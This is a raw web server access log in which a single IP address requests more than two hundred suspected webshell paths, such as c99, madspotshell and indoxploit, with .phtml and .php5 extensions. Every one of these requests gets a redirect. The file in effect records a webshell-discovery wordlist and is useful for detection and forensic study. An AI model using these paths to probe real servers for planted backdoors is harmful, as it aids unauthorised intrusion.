196.251.80.56 - - [23/Sep/2025:12:16:12 -0400] "GET /ah.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:17 -0400] "GET /kecil.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:20 -0400] "GET /acx.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:31 -0400] "GET /androsec.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:34 -0400] "GET /1337.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:36 -0400] "GET /android.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:38 -0400] "GET /asus.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:42 -0400] "GET /n7.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:50 -0400] "GET /tnt.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:53 -0400] "GET /find.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:57 -0400] "GET /adm0n.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:01 -0400] "GET /c99.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:14 -0400] "GET /egyshell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:31 -0400] "GET /ls.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:35 -0400] "GET /Cpanel.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:44 -0400] "GET /images/user.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:51 -0400] "GET /cp.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:55 -0400] "GET /images/madspotshell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:01 -0400] "GET /images/root.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:06 -0400] "GET /images/whmcs.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:15 -0400] "GET /images/2.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:23 -0400] "GET /images/cpn.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:42 -0400] "GET /0day.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:57 -0400] "GET /L3b.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:11 -0400] "GET /images/L3b.phtml HTTP/1.1" 301 795 "-" "-"
3.9.17.39 - - [23/Sep/2025:12:19:13 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:14:06 -0400] "GET /downloadbokep.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:15 -0400] "GET /999.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:18 -0400] "GET /b.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:21 -0400] "GET /a.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:28 -0400] "GET /d.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:30 -0400] "GET /e.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:34 -0400] "GET /g.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:35 -0400] "GET /h.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:37 -0400] "GET /i.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:39 -0400] "GET /list.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:41 -0400] "GET /bcd.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:43 -0400] "GET /bct.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:47 -0400] "GET /act.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:54 -0400] "GET /war.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:10 -0400] "GET /scan.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:14 -0400] "GET /anjink.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:21 -0400] "GET /0t0n9.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:29 -0400] "GET /xploitz.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:42 -0400] "GET /124.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:53 -0400] "GET /wifi.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:05 -0400] "GET /acil.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:15 -0400] "GET /besar.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:24 -0400] "GET /heked.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:28 -0400] "GET /andro.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:46 -0400] "GET /404.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:06 -0400] "GET /gaza.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:10 -0400] "GET /madspotshell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:17 -0400] "GET /c22.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:23 -0400] "GET /c100.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:27 -0400] "GET /configuration.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:38 -0400] "GET /k.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:42 -0400] "GET /zone-h.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:17:46 -0400] "GET /images/Sym.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:10 -0400] "GET /images/index.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:19 -0400] "GET /images/dz.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:27 -0400] "GET /images/changeall.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:32 -0400] "GET /images/Cgishell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:35 -0400] "GET /images/sql.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:48 -0400] "GET /images/admin.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:18:53 -0400] "GET /h4xor.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:02 -0400] "GET /images/d.phtml HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:12:19:13 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:19:20 -0400] "GET /admin1.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:32 -0400] "GET /sa.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:46 -0400] "GET /sql-new.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:49 -0400] "GET /shell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:04 -0400] "GET /hmei7.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:10 -0400] "GET /home.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:15 -0400] "GET /bac0d.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:18 -0400] "GET /badc0de.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:24 -0400] "GET /bacod.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:30 -0400] "GET /xt.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:34 -0400] "GET /xoxo.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:38 -0400] "GET /kontolkejepit.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:03 -0400] "GET /sh33l.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:15 -0400] "GET /Adminer.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:27 -0400] "GET /..phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:40 -0400] "GET /error.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:44 -0400] "GET /inside.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:47 -0400] "GET /ewe.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:01 -0400] "GET /ak47.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:05 -0400] "GET /sg.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:13 -0400] "GET /jembut.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:28 -0400] "GET /Black.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:37 -0400] "GET /vaga.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:50 -0400] "GET /useradmin.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:54 -0400] "GET /d0maine.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:57 -0400] "GET /x.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:05 -0400] "GET /m.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:10 -0400] "GET /dark.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:18 -0400] "GET /offline.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:22 -0400] "GET /p8.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:40 -0400] "GET /sheller.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:44 -0400] "GET /mysheller.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:51 -0400] "GET /911.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:55 -0400] "GET /madspotshe%E2%80%8Bll.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:59 -0400] "GET /%E2%80%8Bc100.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:14 -0400] "GET /dz1.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:26 -0400] "GET /joomla.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:31 -0400] "GET /bug.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:35 -0400] "GET /bug.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:44 -0400] "GET /buck.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:00 -0400] "GET /hacker.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:05 -0400] "GET /hacked.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:22 -0400] "GET /sea.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:32 -0400] "GET /root.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:38 -0400] "GET /r00t.php5 HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:12:19:14 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:19:15 -0400] "GET /sado.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:25 -0400] "GET /admin2.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:29 -0400] "GET /uploads.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:38 -0400] "GET /sniper.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:42 -0400] "GET /images/phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:53 -0400] "GET /admin.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:19:58 -0400] "GET /sa2.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:27 -0400] "GET /tolol.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:41 -0400] "GET /save_gallery.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:44 -0400] "GET /saves.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:48 -0400] "GET /save_video.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:53 -0400] "GET /c0de.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:20:58 -0400] "GET /sh3ll.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:08 -0400] "GET /adminer.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:21 -0400] "GET /darkshell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:31 -0400] "GET /.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:36 -0400] "GET /system.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:53 -0400] "GET /eue.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:21:58 -0400] "GET /kimak.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:10 -0400] "GET /xianjing.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:16 -0400] "GET /amad.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:23 -0400] "GET /t00.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:33 -0400] "GET /r00t-s3c.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:41 -0400] "GET /abuhlail.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:22:45 -0400] "GET /domaine.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:01 -0400] "GET /X.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:14 -0400] "GET /v4team.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:27 -0400] "GET /rr57.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:31 -0400] "GET /myshell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:35 -0400] "GET /yourshell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:23:47 -0400] "GET /priv8.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:05 -0400] "GET /sym.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:10 -0400] "GET /tmp/dz1.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:20 -0400] "GET /Symlink.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:48 -0400] "GET /sysadmin.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:53 -0400] "GET /xd.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:24:55 -0400] "GET /spy.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:11 -0400] "GET /hekel.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:16 -0400] "GET /heker.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:28 -0400] "GET /web.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:42 -0400] "GET /idx.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:49 -0400] "GET /wp.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:57 -0400] "GET /2.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:04 -0400] "GET /3.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:08 -0400] "GET /4.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:13 -0400] "GET /5.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:17 -0400] "GET /6.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:30 -0400] "GET /9.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:47 -0400] "GET /13.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:55 -0400] "GET /15.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:03 -0400] "GET /17.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:07 -0400] "GET /18.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:12 -0400] "GET /19.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:20 -0400] "GET /21.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:55 -0400] "GET /29.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:00 -0400] "GET /30.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:13 -0400] "GET /32.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:16 -0400] "GET /33.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:19 -0400] "GET /34.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:23 -0400] "GET /35.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:35 -0400] "GET /38.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:45 -0400] "GET /40.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:00 -0400] "GET /44.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:05 -0400] "GET /45.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:14 -0400] "GET /47.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:17 -0400] "GET /48.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:34 -0400] "GET /memek.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:38 -0400] "GET /peju.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:51 -0400] "GET /malay.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:59 -0400] "GET /69.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:10 -0400] "GET /hindi.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:32 -0400] "GET /00.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:40 -0400] "GET /ngentod.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:45 -0400] "GET /indoxploit.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:49 -0400] "GET /wp-config.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:25:52 -0400] "GET /1.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:21 -0400] "GET /7.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:25 -0400] "GET /8.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:36 -0400] "GET /10.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:40 -0400] "GET /11.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:44 -0400] "GET /12.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:51 -0400] "GET /14.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:26:59 -0400] "GET /16.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:16 -0400] "GET /20.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:24 -0400] "GET /22.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:28 -0400] "GET /23.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:35 -0400] "GET /24.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:40 -0400] "GET /25.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:44 -0400] "GET /26.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:47 -0400] "GET /27.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:27:51 -0400] "GET /28.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:06 -0400] "GET /31.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:26 -0400] "GET /36.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:31 -0400] "GET /37.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:41 -0400] "GET /39.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:49 -0400] "GET /41.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:53 -0400] "GET /42.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:28:56 -0400] "GET /43.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:11 -0400] "GET /46.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:22 -0400] "GET /49.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:26 -0400] "GET /50.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:31 -0400] "GET /kontol.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:42 -0400] "GET /Exploit_Your_Mind.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:45 -0400] "GET /SpamworldSec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:48 -0400] "GET /onion.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:29:55 -0400] "GET /allf1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:06 -0400] "GET /crack.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:15 -0400] "GET /indo.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:20 -0400] "GET /1945.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:25 -0400] "GET /Sym.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:29 -0400] "GET /lax.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:36 -0400] "GET /938383828272.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:07 -0400] "GET /09999888.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:20 -0400] "GET /terserah.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:21 -0400] "GET /wp-user.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:25 -0400] "GET /ez.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:33 -0400] "GET /php.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:40 -0400] "GET /-_-.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:45 -0400] "GET /r.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:50 -0400] "GET /babi.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:01 -0400] "GET /m3m3k.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:05 -0400] "GET /anon.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:21 -0400] "GET /an0n.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:28 -0400] "GET /blackhat.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:37 -0400] "GET //wp-load-.phtml HTTP/1.1" 301 795 "-" "-"
